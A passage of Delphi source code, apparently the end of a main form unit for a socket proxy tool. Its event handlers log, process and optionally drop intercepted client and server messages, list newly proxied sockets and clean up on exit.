  907. AddSrvMsg(inet_ntoa(from.sin_addr),ntohs(from.sin_port),buf,buflen);
  908. ProcessSrvMsg(inet_ntoa(from.sin_addr),ntohs(from.sin_port),buf,buflen);
  909. end;
  911. procedure TMainForm.SwitcherOnSend(buf: array of char; buflen: Integer;
  912.   from, Dest: TSockAddr;var drop:Boolean);
  913. begin
  914. drop:=not BeforeSend(buf,buflen);
  915. AddLocalMsg(buf,buflen);
  916. ProcessClientMsg(buf,buflen);
  917. end;
  919. procedure TMainForm.SwitcherOnNewSocket(Sender: TObject);
  920. begin
  921. with (Sender as TProxySock)do
  922.     begin
  923.     AnalyList.Items.Add(
  924.         'New Socket:'+
  925.         inet_ntoa(ThisAddr.sin_addr)+' Port:'+IntToStr(ntohs(ThisAddr.sin_port))+
  926.         'Proxy socket:'
  927.         +inet_ntoa(ProxyAddr.sin_addr)+' Port:'+IntToStr(ntohs(ProxyAddr.sin_port)));
  928.     Application.ProcessMessages;
  929.     end;
  930. end;
  932. procedure TMainForm.btnFirstAidClick(Sender: TObject);
  933. begin
  934. TFirstAidDlg.Execute;
  935. end;
  937. procedure TMainForm.FormDestroy(Sender: TObject);
  938. begin
  939. if(Assigned(Switcher))then Switcher.Destroy;
  940. sleep(100);
  941. end;
  942. end.